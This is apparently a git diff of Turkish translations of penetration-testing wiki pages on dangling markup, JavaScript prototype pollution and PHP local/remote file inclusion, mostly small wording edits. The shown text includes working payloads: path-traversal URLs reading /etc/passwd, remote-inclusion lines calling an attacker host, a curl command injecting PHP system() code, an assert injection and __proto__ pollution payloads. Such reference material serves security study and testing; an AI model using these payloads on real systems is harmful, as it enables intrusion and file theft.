HTML'de bağlantı sızdırmanın tüm yolları Dangling Markup için faydalı olmayabilir, ancak bazen yardımcı olabilir. Onları burada kontrol edin: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
|
||||
|
||||
## SS-Sızıntıları
|
||||
|
||||
@ -205,7 +205,7 @@ ss-leaks.md
|
||||
|
||||
## XS-Arama/XS-Sızıntıları
|
||||
|
||||
XS-Arama, **yan kanal saldırılarından** faydalanarak **çapraz köken bilgilerini** **sızdırmaya** yöneliktir. Bu nedenle, Dangling Markup'tan farklı bir tekniktir, ancak bazı teknikler HTML etiketlerinin (JS yürütmesi ile ve olmadan) dahil edilmesini kötüye kullanır, örneğin [**CSS Enjeksiyonu**](../xs-search/#css-injection) veya [**Tembel Yükleme Görselleri**](../xs-search/#image-lazy-loading)**.**
|
||||
XS-Arama, **yan kanal saldırılarından** faydalanarak **çapraz köken bilgilerini** **sızdırmaya** yöneliktir. Bu nedenle, Dangling Markup'tan farklı bir tekniktir, ancak bazı teknikler HTML etiketlerinin (JS yürütmesi ile ve olmadan) dahil edilmesini istismar eder, örneğin [**CSS Enjeksiyonu**](../xs-search/#css-injection) veya [**Tembel Yükleme Görselleri**](../xs-search/#image-lazy-loading)**.**
|
||||
|
||||
{{#ref}}
|
||||
../xs-search/
|
||||
@ -213,7 +213,9 @@ XS-Arama, **yan kanal saldırılarından** faydalanarak **çapraz köken bilgile
|
||||
|
||||
## Kaba Kuvvet Tespit Listesi
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt
|
||||
{{#endref}}
|
||||
|
||||
## Referanslar
|
||||
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## JavaScript'teki Nesneler <a href="#id-053a" id="id-053a"></a>
|
||||
|
||||
JavaScript'teki nesneler esasen anahtar-değer çiftlerinin, yani özelliklerin, koleksiyonlarıdır. Bir nesne, `null` argümanı ile `Object.create` kullanılarak boş bir nesne oluşturmak için yaratılabilir. Bu yöntem, miras alınan özellikler olmadan bir nesne oluşturulmasına olanak tanır.
|
||||
JavaScript'teki nesneler esasen anahtar-değer çiftlerinin, yani özelliklerin, koleksiyonlarıdır. Bir nesne, `null` argümanı ile `Object.create` kullanılarak boş bir nesne oluşturmak için yaratılabilir. Bu yöntem, miras alınan özellik olmadan bir nesne oluşturulmasına olanak tanır.
|
||||
```javascript
|
||||
// Run this in the developers tools console
|
||||
console.log(Object.create(null)) // This will output an empty object.
|
||||
@ -121,7 +121,7 @@ Bu işlemlerden sonra, her JavaScript nesnesi `goodbye` ve `greet` yöntemlerini
|
||||
|
||||
### Bir sınıftan Object.prototype'a
|
||||
|
||||
Belirli bir nesneyi **kirletebileceğiniz** ve **Object.prototype'a ulaşmanız gerektiği** bir senaryoda, aşağıdaki gibi bir kod ile onu arayabilirsiniz:
|
||||
Belirli bir nesneyi **kirletebileceğiniz** ve **`Object.prototype`'a ulaşmanız gerektiği** bir senaryoda, aşağıdaki gibi bir kod ile arama yapabilirsiniz:
|
||||
```javascript
|
||||
// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/
|
||||
|
||||
@ -211,33 +211,35 @@ Diğer yükler:
|
||||
client-side-prototype-pollution.md
|
||||
{{#endref}}
|
||||
|
||||
### CVE-2019–11358: Prototype pollution attack through jQuery $ .extend
|
||||
### CVE-2019–11358: jQuery $ .extend aracılığıyla prototip kirlenmesi saldırısı
|
||||
|
||||
[Detaylar için bu makaleye bakın](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) jQuery'de, `$ .extend` fonksiyonu derin kopyalama özelliği yanlış kullanıldığında prototip kirlenmesine yol açabilir. Bu fonksiyon, nesneleri klonlamak veya varsayılan bir nesneden özellikleri birleştirmek için yaygın olarak kullanılır. Ancak, yanlış yapılandırıldığında, yeni bir nesne için tasarlanan özellikler prototipe atanabilir. Örneğin:
|
||||
[Detaylar için bu makaleye bakın](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) jQuery'de, `$ .extend` fonksiyonu derin kopyalama özelliği yanlış kullanıldığında prototip kirlenmesine yol açabilir. Bu fonksiyon genellikle nesneleri klonlamak veya varsayılan bir nesneden özellikleri birleştirmek için kullanılır. Ancak, yanlış yapılandırıldığında, yeni bir nesne için tasarlanan özellikler yerine prototipe atanabilir. Örneğin:
|
||||
```javascript
|
||||
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
|
||||
console.log({}.devMode) // Outputs: true
|
||||
```
|
||||
Bu zafiyet, CVE-2019–11358 olarak tanımlanmıştır ve derin bir kopyanın istemeden prototipi değiştirebileceğini, bu durumun da `isAdmin` gibi özelliklerin uygun varlık doğrulaması olmadan kontrol edilmesi durumunda yetkisiz yönetici erişimi gibi potansiyel güvenlik risklerine yol açabileceğini göstermektedir.
|
||||
Bu zafiyet, CVE-2019–11358 olarak tanımlanmıştır ve derin bir kopyanın prototipi istemeden nasıl değiştirebileceğini, `isAdmin` gibi özelliklerin uygun varlık doğrulaması olmadan kontrol edilmesi durumunda yetkisiz yönetici erişimi gibi potansiyel güvenlik risklerine yol açabileceğini göstermektedir.
|
||||
|
||||
### CVE-2018–3721, CVE-2019–10744: lodash üzerinden prototip kirlenmesi saldırısı
|
||||
|
||||
[Detaylar için bu makaleye bakın](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
|
||||
[Daha fazla detay için bu makaleye bakın](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
|
||||
|
||||
[Lodash](https://www.npmjs.com/package/lodash), benzer prototip kirlenmesi zafiyetleri (CVE-2018–3721, CVE-2019–10744) ile karşılaşmıştır. Bu sorunlar 4.17.11 sürümünde ele alınmıştır.
|
||||
|
||||
### CVE'ler ile başka bir eğitim
|
||||
|
||||
{% embed url="https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2" %}
|
||||
{{#ref}}
|
||||
https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2
|
||||
{{#endref}}
|
||||
|
||||
### Prototip Kirlenmesini Tespit Etmek için Araçlar
|
||||
|
||||
- [**Server-Side-Prototype-Pollution-Gadgets-Scanner**](https://github.com/doyensec/Server-Side-Prototype-Pollution-Gadgets-Scanner): Web uygulamalarında sunucu tarafı prototip kirlenmesi zafiyetlerini tespit ve analiz etmek için tasarlanmış Burp Suite eklentisi. Bu araç, potansiyel prototip kirlenmesi sorunlarını tanımlamak için istekleri tarama sürecini otomatikleştirir. Bilinen gadget'ları - prototip kirlenmesini kullanarak zararlı eylemler gerçekleştirme yöntemleri - özellikle Node.js kütüphanelerine odaklanarak kullanır.
|
||||
- [**Server-Side-Prototype-Pollution-Gadgets-Scanner**](https://github.com/doyensec/Server-Side-Prototype-Pollution-Gadgets-Scanner): Web uygulamalarında sunucu tarafı prototip kirlenmesi zafiyetlerini tespit etmek ve analiz etmek için tasarlanmış Burp Suite eklentisi. Bu araç, potansiyel prototip kirlenmesi sorunlarını tanımlamak için istekleri tarama sürecini otomatikleştirir. Bilinen gadget'ları - prototip kirlenmesini kullanarak zararlı eylemleri gerçekleştirme yöntemleri - özellikle Node.js kütüphanelerine odaklanarak kullanır.
|
||||
- [**server-side-prototype-pollution**](https://github.com/portswigger/server-side-prototype-pollution): Bu eklenti, sunucu tarafı prototip kirlenmesi zafiyetlerini tanımlar. [sunucu tarafı prototip kirlenmesi](https://portswigger.net/research/server-side-prototype-pollution) konusundaki teknikleri kullanır.
|
||||
|
||||
### NodeJS'de AST Prototip Kirlenmesi
|
||||
|
||||
NodeJS, JavaScript'te şablon motorları ve TypeScript gibi işlevler için Soyut Sözdizim Ağaçları (AST) kullanmaktadır. Bu bölüm, Handlebars ve Pug gibi şablon motorlarındaki prototip kirlenmesi ile ilgili zafiyetleri keşfetmektedir.
|
||||
NodeJS, JavaScript'te şablon motorları ve TypeScript gibi işlevler için Soyut Sözdizim Ağaçları (AST) kullanmaktadır. Bu bölüm, şablon motorlarındaki prototip kirlenmesi ile ilgili zafiyetleri, özellikle Handlebars ve Pug'u incelemektedir.
|
||||
|
||||
#### Handlebars Zafiyet Analizi
|
||||
|
||||
@ -245,7 +247,7 @@ Handlebars şablon motoru, bir prototip kirlenmesi saldırısına karşı hassas
|
||||
|
||||
**Sömürü Süreci**
|
||||
|
||||
Sömürü, Handlebars tarafından üretilen AST (Soyut Sözdizim Ağacı) kullanılarak şu adımları izler:
|
||||
Sömürü, Handlebars tarafından üretilen AST'yi (Soyut Sözdizim Ağacı) kullanarak şu adımları izler:
|
||||
|
||||
1. **Parser'ın Manipülasyonu**: İlk olarak, `NumberLiteral` düğümü aracılığıyla parser, değerlerin sayısal olmasını zorunlu kılar. Prototip kirlenmesi bunu aşabilir ve sayısal olmayan dizelerin eklenmesine olanak tanır.
|
||||
2. **Derleyici Tarafından İşlenmesi**: Derleyici, bir AST Objesini veya bir dize şablonunu işleyebilir. Eğer `input.type` `Program`'a eşitse, girdi önceden işlenmiş olarak kabul edilir ve bu durum sömürülebilir.
|
||||
@ -281,9 +283,9 @@ console.log(eval("(" + template + ")")["main"].toString())
|
||||
```
|
||||
Bu kod, bir saldırganın Handlebars şablonuna keyfi kod enjekte edebileceğini göstermektedir.
|
||||
|
||||
**Dış Referans**: 'flat' kütüphanesinde prototip kirlenmesi ile ilgili bir sorun bulundu, detaylar burada: [Issue on GitHub](https://github.com/hughsk/flat/issues/105).
|
||||
**Dış Referans**: 'flat' kütüphanesinde prototip kirlenmesi ile ilgili bir sorun bulundu, burada detaylandırılmıştır: [GitHub'daki Sorun](https://github.com/hughsk/flat/issues/105).
|
||||
|
||||
**Dış Referans**: [flat kütüphanesindeki prototip kirlenmesi ile ilgili sorun](https://github.com/hughsk/flat/issues/105)
|
||||
**Dış Referans**: [‘flat’ kütüphanesindeki prototip kirlenmesi ile ilgili sorun](https://github.com/hughsk/flat/issues/105)
|
||||
|
||||
Python'da prototip kirlenmesi istismarına örnek:
|
||||
```python
|
||||
@ -338,7 +340,7 @@ Prototip kirlenmesi riskini azaltmak için aşağıdaki stratejiler uygulanabili
|
||||
|
||||
1. **Nesne Değişmezliği**: `Object.prototype`'ı `Object.freeze` uygulayarak değişmez hale getirebilirsiniz.
|
||||
2. **Girdi Doğrulama**: JSON girdileri, uygulamanın şemasına karşı titizlikle doğrulanmalıdır.
|
||||
3. **Güvenli Birleştirme Fonksiyonları**: Güvensiz birleştirme fonksiyonlarının özyinelemeli kullanımından kaçınılmalıdır.
|
||||
3. **Güvenli Birleştirme Fonksiyonları**: Güvensiz birleştirme fonksiyonlarının özyinelemeli kullanımı kaçınılmalıdır.
|
||||
4. **Prototipsiz Nesneler**: Prototip özellikleri olmayan nesneler `Object.create(null)` kullanılarak oluşturulabilir.
|
||||
5. **Map Kullanımı**: Anahtar-değer çiftlerini depolamak için `Object` yerine `Map` kullanılmalıdır.
|
||||
6. **Kütüphane Güncellemeleri**: Güvenlik yamaları, kütüphaneleri düzenli olarak güncelleyerek entegre edilebilir.
|
||||
|
@ -4,8 +4,8 @@
|
||||
|
||||
## Dosya Dahil Etme
|
||||
|
||||
**Uzak Dosya Dahil Etme (RFI):** Dosya, uzak bir sunucudan yüklenir (En iyi: Kodu yazabilirsiniz ve sunucu bunu çalıştırır). PHP'de bu **varsayılan olarak devre dışı**dır (**allow_url_include**).\
|
||||
**Yerel Dosya Dahil Etme (LFI):** Sunucu, yerel bir dosyayı yükler.
|
||||
**Uzaktan Dosya Dahil Etme (RFI):** Dosya uzaktaki bir sunucudan yüklenir (En iyi: Kodu yazabilirsiniz ve sunucu bunu çalıştırır). PHP'de bu **varsayılan olarak devre dışı**dır (**allow_url_include**).\
|
||||
**Yerel Dosya Dahil Etme (LFI):** Sunucu yerel bir dosyayı yükler.
|
||||
|
||||
Zafiyet, kullanıcının sunucu tarafından yüklenecek dosyayı bir şekilde kontrol edebilmesi durumunda ortaya çıkar.
|
||||
|
||||
@ -21,21 +21,25 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
|
||||
|
||||
**Birçok \*nix LFI listesini birleştirip daha fazla yol ekleyerek bunu oluşturdum:**
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
|
||||
{{#endref}}
|
||||
|
||||
Ayrıca `/`'yi `\` ile değiştirmeyi deneyin.\
|
||||
Ayrıca `/` yerine `\` kullanmayı deneyin.\
|
||||
Ayrıca `../../../../../` eklemeyi deneyin.
|
||||
|
||||
Dosya /etc/password'ı bulmak için çeşitli teknikler kullanan bir liste [burada](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) bulunabilir (açığın var olup olmadığını kontrol etmek için).
|
||||
|
||||
### **Windows**
|
||||
|
||||
Farklı kelime listelerinin birleştirilmesi:
|
||||
Farklı kelime listelerinin birleşimi:
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
|
||||
{{#endref}}
|
||||
|
||||
Ayrıca `/`'yi `\` ile değiştirmeyi deneyin.\
|
||||
Ayrıca `C:/`'yi kaldırıp `../../../../../` eklemeyi deneyin.
|
||||
Ayrıca `/` yerine `\` kullanmayı deneyin.\
|
||||
Ayrıca `C:/` kaldırmayı ve `../../../../../` eklemeyi deneyin.
|
||||
|
||||
Dosya /boot.ini'yi bulmak için çeşitli teknikler kullanan bir liste [burada](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) bulunabilir (açığın var olup olmadığını kontrol etmek için).
|
||||
|
||||
@ -80,9 +84,9 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||
```
|
||||
### Sunucu Üzerinde Dosya Sistemi Dizinlerini Keşfetme
|
||||
|
||||
Bir sunucunun dosya sistemi, belirli teknikler kullanılarak yalnızca dosyaları değil, dizinleri tanımlamak için özyinelemeli olarak keşfedilebilir. Bu süreç, dizin derinliğini belirlemeyi ve belirli klasörlerin varlığını sorgulamayı içerir. Bunu başarmak için aşağıda ayrıntılı bir yöntem bulunmaktadır:
|
||||
Bir sunucunun dosya sistemi, belirli teknikler kullanılarak yalnızca dosyaları değil, dizinleri de tanımlamak için özyinelemeli olarak keşfedilebilir. Bu süreç, dizin derinliğini belirlemeyi ve belirli klasörlerin varlığını sorgulamayı içerir. Bunu başarmak için aşağıda ayrıntılı bir yöntem bulunmaktadır:
|
||||
|
||||
1. **Dizin Derinliğini Belirleme:** Mevcut dizininizin derinliğini, `/etc/passwd` dosyasını başarıyla alarak belirleyin (bu, sunucu Linux tabanlıysa geçerlidir). Örnek bir URL, üç derinliği gösteren şu şekilde yapılandırılabilir:
|
||||
1. **Dizin Derinliğini Belirleme:** Mevcut dizininizin derinliğini, `/etc/passwd` dosyasını başarıyla alarak belirleyin (sunucu Linux tabanlıysa geçerlidir). Bir örnek URL, üç derinliği gösteren şu şekilde yapılandırılabilir:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```
|
||||
@ -139,7 +143,7 @@ http://example.com/index.php?page=PhP://filter
|
||||
```
|
||||
## Uzaktan Dosya Dahil Etme
|
||||
|
||||
Php'de bu varsayılan olarak devre dışıdır çünkü **`allow_url_include`** **Kapalı.** Bunun çalışması için **Açık** olmalıdır ve bu durumda sunucunuzdan bir PHP dosyası dahil edebilir ve RCE elde edebilirsiniz:
|
||||
Php'de bu varsayılan olarak devre dışı bırakılmıştır çünkü **`allow_url_include`** **Kapalıdır.** Bunun çalışması için **Açık** olması gerekir ve bu durumda sunucunuzdan bir PHP dosyası dahil edebilir ve RCE elde edebilirsiniz:
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
@ -167,13 +171,13 @@ Eğer kullanıcı **`file_name`** için **mutlak bir yol** geçirirse, **önceki
|
||||
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
'/etc/passwd'
|
||||
```
|
||||
Beklenen davranış [belgelere](https://docs.python.org/3.10/library/os.path.html#os.path.join) göre:
|
||||
Bu, [belgelere](https://docs.python.org/3.10/library/os.path.html#os.path.join) göre beklenen davranıştır:
|
||||
|
||||
> Eğer bir bileşen mutlak bir yol ise, tüm önceki bileşenler atılır ve birleştirme mutlak yol bileşeninden devam eder.
|
||||
|
||||
## Java Dizinlerini Listele
|
||||
|
||||
Java'da bir Yol Traversali varsa ve **bir dosya yerine bir dizin isterseniz**, **dizinin bir listesi döndürülür**. Bu diğer dillerde (bildiğim kadarıyla) olmayacaktır.
|
||||
Görünüşe göre Java'da bir Path Traversal varsa ve **bir dosya yerine bir dizin isterseniz**, **dizinin bir listesi döndürülür**. Bu diğer dillerde (bildiğim kadarıyla) olmayacaktır.
|
||||
|
||||
## En İyi 25 parametre
|
||||
|
||||
@ -209,7 +213,7 @@ Yerel dosya dahil etme (LFI) zafiyetlerine karşı savunmasız olabilecek en iyi
|
||||
|
||||
### php://filter
|
||||
|
||||
PHP filtreleri, veriler **okunmadan veya yazılmadan önce temel değişiklik işlemleri** gerçekleştirmeye olanak tanır. 5 filtre kategorisi vardır:
|
||||
PHP filtreleri, veriler okunmadan veya yazılmadan önce temel **değiştirme işlemleri gerçekleştirmeye** olanak tanır. 5 filtre kategorisi vardır:
|
||||
|
||||
- [String Filters](https://www.php.net/manual/en/filters.string.php):
|
||||
- `string.rot13`
|
||||
@ -225,7 +229,7 @@ PHP filtreleri, veriler **okunmadan veya yazılmadan önce temel değişiklik i
|
||||
- `convert.iconv.*` : Farklı bir kodlamaya dönüştürür (`convert.iconv.<input_enc>.<output_enc>`). **Desteklenen tüm kodlamaların listesini** almak için konsolda şunu çalıştırın: `iconv -l`
|
||||
|
||||
> [!WARNING]
|
||||
> `convert.iconv.*` dönüşüm filtresini kötüye kullanarak **rastgele metin** üretebilirsiniz, bu da rastgele metin yazmak veya bir işlev gibi dahil etme işlemini rastgele metin yapmak için yararlı olabilir. Daha fazla bilgi için [**LFI2RCE php filtreleri aracılığıyla**](lfi2rce-via-php-filters.md) kontrol edin.
|
||||
> `convert.iconv.*` dönüşüm filtresini kötüye kullanarak **rastgele metin** oluşturabilirsiniz, bu da rastgele metin yazmak veya bir işlev gibi dahil etme işlemini rastgele metin yapmak için yararlı olabilir. Daha fazla bilgi için [**LFI2RCE php filtreleri aracılığıyla**](lfi2rce-via-php-filters.md) kontrol edin.
|
||||
|
||||
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
||||
- `zlib.deflate`: İçeriği sıkıştırır (çok fazla bilgi sızdırırken yararlıdır)
|
||||
@ -280,8 +284,8 @@ Orijinal yazıda tekniğin detaylı bir açıklamasını bulabilirsiniz, ancak b
|
||||
- **convert.iconv.UNICODE.CP930** codec'i her harfi bir sonrakine dönüştürür (bu codec'ten sonra: a -> b). Bu, örneğin ilk harfin `a` olup olmadığını keşfetmemizi sağlar; çünkü bu codec'i 6 kez uygularsak a->b->c->d->e->f->g harfi artık bir onaltılık karakter değildir, bu nedenle dechunk onu silmez ve php hatası başlangıç bombası ile tetiklenir.
|
||||
- Başlangıçta **rot13** gibi diğer dönüşümler kullanarak n, o, p, q, r gibi diğer karakterleri sızdırmak mümkündür (ve diğer codec'ler, diğer harfleri onaltılık aralığına taşımak için kullanılabilir).
|
||||
- İlk karakter bir sayı olduğunda, bunu base64 kodlaması yapmak ve sayıyı sızdırmak için ilk 2 harfi sızdırmak gerekir.
|
||||
- Son sorun, **ilk harften daha fazlasını nasıl sızdıracağınızı** görmektir. **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** gibi sıralı bellek filtreleri kullanarak karakterlerin sırasını değiştirmek ve metnin ilk pozisyonuna diğer harfleri almak mümkündür.
|
||||
- Ve **daha fazla veri** elde edebilmek için fikir, **başlangıçta 2 bayt çöp verisi oluşturmak** ve **convert.iconv.UTF16.UTF16** ile uygulamak, ardından **UCS-4LE** ile bunu **sonraki 2 baytla pivotlamak** ve **çöp veriye kadar veriyi silmek** (bu, başlangıç metninin ilk 2 baytını kaldıracaktır). İstenilen sızdırma bitine ulaşana kadar bunu yapmaya devam edin.
|
||||
- Son sorun, **ilk harften daha fazlasını nasıl sızdıracağınızı** görmektir. **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** gibi sıralı bellek filtreleri kullanarak karakterlerin sırasını değiştirmek ve metnin ilk konumuna diğer harfleri almak mümkündür.
|
||||
- Ve **daha fazla veri** elde edebilmek için fikir, **başlangıçta 2 bayt çöp verisi oluşturmak** ve **convert.iconv.UTF16.UTF16** ile uygulamak, ardından **UCS-4LE** ile bunu **sonraki 2 bayt ile pivotlamak** ve **çöp veriye kadar veriyi silmek** (bu, başlangıç metninin ilk 2 baytını kaldıracaktır). İstenilen sızıntı bitine ulaşana kadar bunu yapmaya devam edin.
|
||||
|
||||
Yazıda bunu otomatik olarak gerçekleştirmek için bir araç da sızdırıldı: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
|
||||
@ -339,7 +343,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system
|
||||
```
|
||||
### phar://
|
||||
|
||||
Bir `.phar` dosyası, bir web uygulaması dosya yükleme için `include` gibi fonksiyonlar kullandığında PHP kodu çalıştırmak için kullanılabilir. Aşağıda verilen PHP kodu parçası, bir `.phar` dosyasının oluşturulmasını göstermektedir:
|
||||
Bir `.phar` dosyası, bir web uygulaması dosya yükleme için `include` gibi fonksiyonlar kullandığında PHP kodunu çalıştırmak için kullanılabilir. Aşağıda verilen PHP kodu, bir `.phar` dosyasının oluşturulmasını göstermektedir:
|
||||
```php
|
||||
<?php
|
||||
$phar = new Phar('test.phar');
|
||||
@ -354,9 +358,9 @@ php --define phar.readonly=0 create_path.php
|
||||
```
|
||||
Yürütme sırasında, `test.phar` adında bir dosya oluşturulacak ve bu, Yerel Dosya Dahil Etme (LFI) açıklarını istismar etmek için kullanılabilir.
|
||||
|
||||
LFI yalnızca dosya okumakla sınırlıysa ve içindeki PHP kodunu çalıştırmıyorsa, `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, veya `filesize()` gibi fonksiyonlar aracılığıyla bir deserialization açığını istismar etmeye çalışılabilir. Bu açık, `phar` protokolü kullanılarak dosyaların okunmasıyla ilişkilidir.
|
||||
LFI yalnızca dosya okuma işlemi yapıyorsa ve içindeki PHP kodunu çalıştırmıyorsa, `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, veya `filesize()` gibi fonksiyonlar aracılığıyla bir deserialization açığını istismar etme girişiminde bulunulabilir. Bu açık, `phar` protokolü kullanılarak dosyaların okunmasıyla ilişkilidir.
|
||||
|
||||
`.phar` dosyaları bağlamında deserialization açıklarını istismar etmeyi anlamak için aşağıdaki belgede yer alan bilgilere bakın:
|
||||
`.phar` dosyaları bağlamında deserialization açıklarını istismar etme konusunda ayrıntılı bir anlayış için, aşağıda bağlantısı verilen belgeye bakın:
|
||||
|
||||
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
|
||||
|
||||
@ -367,19 +371,19 @@ phar-deserialization.md
|
||||
### CVE-2024-2961
|
||||
|
||||
**php filtrelerini destekleyen herhangi bir rastgele dosyanın okunmasını** kötüye kullanarak RCE elde etmek mümkündü. Ayrıntılı açıklama [**bu yazıda bulunabilir**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Çok hızlı bir özet: PHP yığınında bir **3 bayt taşması** kötüye kullanılarak **belirli boyuttaki serbest parçaların zincirini değiştirmek** için kullanıldı, böylece **herhangi bir adrese yazmak** mümkün oldu ve **`system`** çağrısı yapmak için bir hook eklendi.\
|
||||
Çok hızlı bir özet: PHP yığınında bir **3 bayt taşması** kötüye kullanılarak **belirli boyuttaki serbest parçaların zincirini değiştirmek** için kullanıldı, böylece **herhangi bir adrese herhangi bir şey yazmak** mümkün oldu, bu nedenle **`system`** çağrısı yapmak için bir hook eklendi.\
|
||||
Daha fazla php filtresi kötüye kullanılarak belirli boyutlarda parçalar tahsis etmek mümkündü.
|
||||
|
||||
### Daha Fazla Protokol
|
||||
|
||||
Burada dahil edilebilecek daha fazla [**protokolü kontrol edin**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Belleğe veya geçici bir dosyaya yazma (bu, bir dosya dahil etme saldırısında nasıl faydalı olabileceğinden emin değilim)
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Belleğe veya geçici bir dosyaya yazma (bu dosya dahil etme saldırısında nasıl faydalı olabileceğinden emin değilim)
|
||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Yerel dosya sistemine erişim
|
||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(s) URL'lerine erişim
|
||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(s) URL'lerine erişim
|
||||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Sıkıştırma Akışları
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Desene uyan yol adlarını bulma (Hiçbir yazdırılabilir şey döndürmez, bu yüzden burada pek faydalı değil)
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Desene uyan yol adlarını bulma (Hiçbir yazdırılabilir şey döndürmez, bu nedenle burada pek faydalı değil)
|
||||
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Güvenli Shell 2
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Ses akışları (Rastgele dosyaları okumak için faydalı değil)
|
||||
|
||||
@ -391,7 +395,7 @@ PHP'deki Yerel Dosya Dahil Etme (LFI) riskleri, dizeler içinde kod çalıştır
|
||||
```bash
|
||||
assert("strpos('$file', '..') === false") or die("");
|
||||
```
|
||||
Bu, geçişi durdurmayı amaçlasa da, istemeden kod enjeksiyonu için bir vektör oluşturur. Dosya içeriğini okumak için bunu istismar etmek isteyen bir saldırgan şunları kullanabilir:
|
||||
Bu, geçişi durdurmayı amaçlasa da, istemeden kod enjeksiyonu için bir vektör oluşturur. Dosya içeriklerini okumak için bunu istismar etmek isteyen bir saldırgan şunları kullanabilir:
|
||||
```plaintext
|
||||
' and die(highlight_file('/etc/passwd')) or '
|
||||
```
|
||||
@ -404,13 +408,13 @@ Benzer şekilde, rastgele sistem komutları yürütmek için şunlar kullanılab
|
||||
## PHP Blind Path Traversal
|
||||
|
||||
> [!WARNING]
|
||||
> Bu teknik, bir **PHP fonksiyonu** tarafından **bir dosyaya erişilecek** **dosya yolunu** **kontrol ettiğiniz** durumlarda geçerlidir, ancak dosyanın içeriğini göremezsiniz (örneğin, **`file()`** fonksiyonuna basit bir çağrı gibi) ama içerik gösterilmez.
|
||||
> Bu teknik, bir **PHP fonksiyonu** tarafından **bir dosyaya erişilecek** olan **dosya yolunu** **kontrol ettiğiniz** durumlarda geçerlidir, ancak dosyanın içeriğini göremezsiniz (örneğin, **`file()`** fonksiyonuna basit bir çağrı gibi) ama içerik gösterilmez.
|
||||
|
||||
[**Bu inanılmaz yazıda**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) bir blind path traversal'ın PHP filtresi aracılığıyla **bir hata oracle'ı üzerinden bir dosyanın içeriğini dışarı sızdırmak için nasıl kötüye kullanılabileceği** açıklanmaktadır.
|
||||
|
||||
Özetle, teknik, bir dosyanın içeriğini o kadar **büyük** yapmak için **"UCS-4LE" kodlamasını** kullanmaktadır ki, dosyayı açan **PHP fonksiyonu** bir **hata** tetikleyecektir.
|
||||
|
||||
Sonra, ilk karakteri sızdırmak için filtre **`dechunk`** diğerleriyle birlikte **base64** veya **rot13** gibi kullanılır ve nihayetinde filtreler **convert.iconv.UCS-4.UCS-4LE** ve **convert.iconv.UTF16.UTF-16BE** kullanılarak **diğer karakterlerin başa yerleştirilmesi ve sızdırılması** sağlanır.
|
||||
Daha sonra, ilk karakteri sızdırmak için filtre **`dechunk`** diğerleriyle birlikte **base64** veya **rot13** gibi kullanılır ve nihayetinde filtreler **convert.iconv.UCS-4.UCS-4LE** ve **convert.iconv.UTF16.UTF-16BE** diğer karakterleri başa yerleştirmek ve sızdırmak için kullanılır.
|
||||
|
||||
**Zayıf olabilecek fonksiyonlar**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (sadece hedef okuma için bunu kullanın)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
|
||||
@ -418,18 +422,18 @@ Teknik detaylar için belirtilen yazıya bakın!
|
||||
|
||||
## LFI2RCE
|
||||
|
||||
### Remote File Inclusion
|
||||
### Uzaktan Dosya Dahil Etme
|
||||
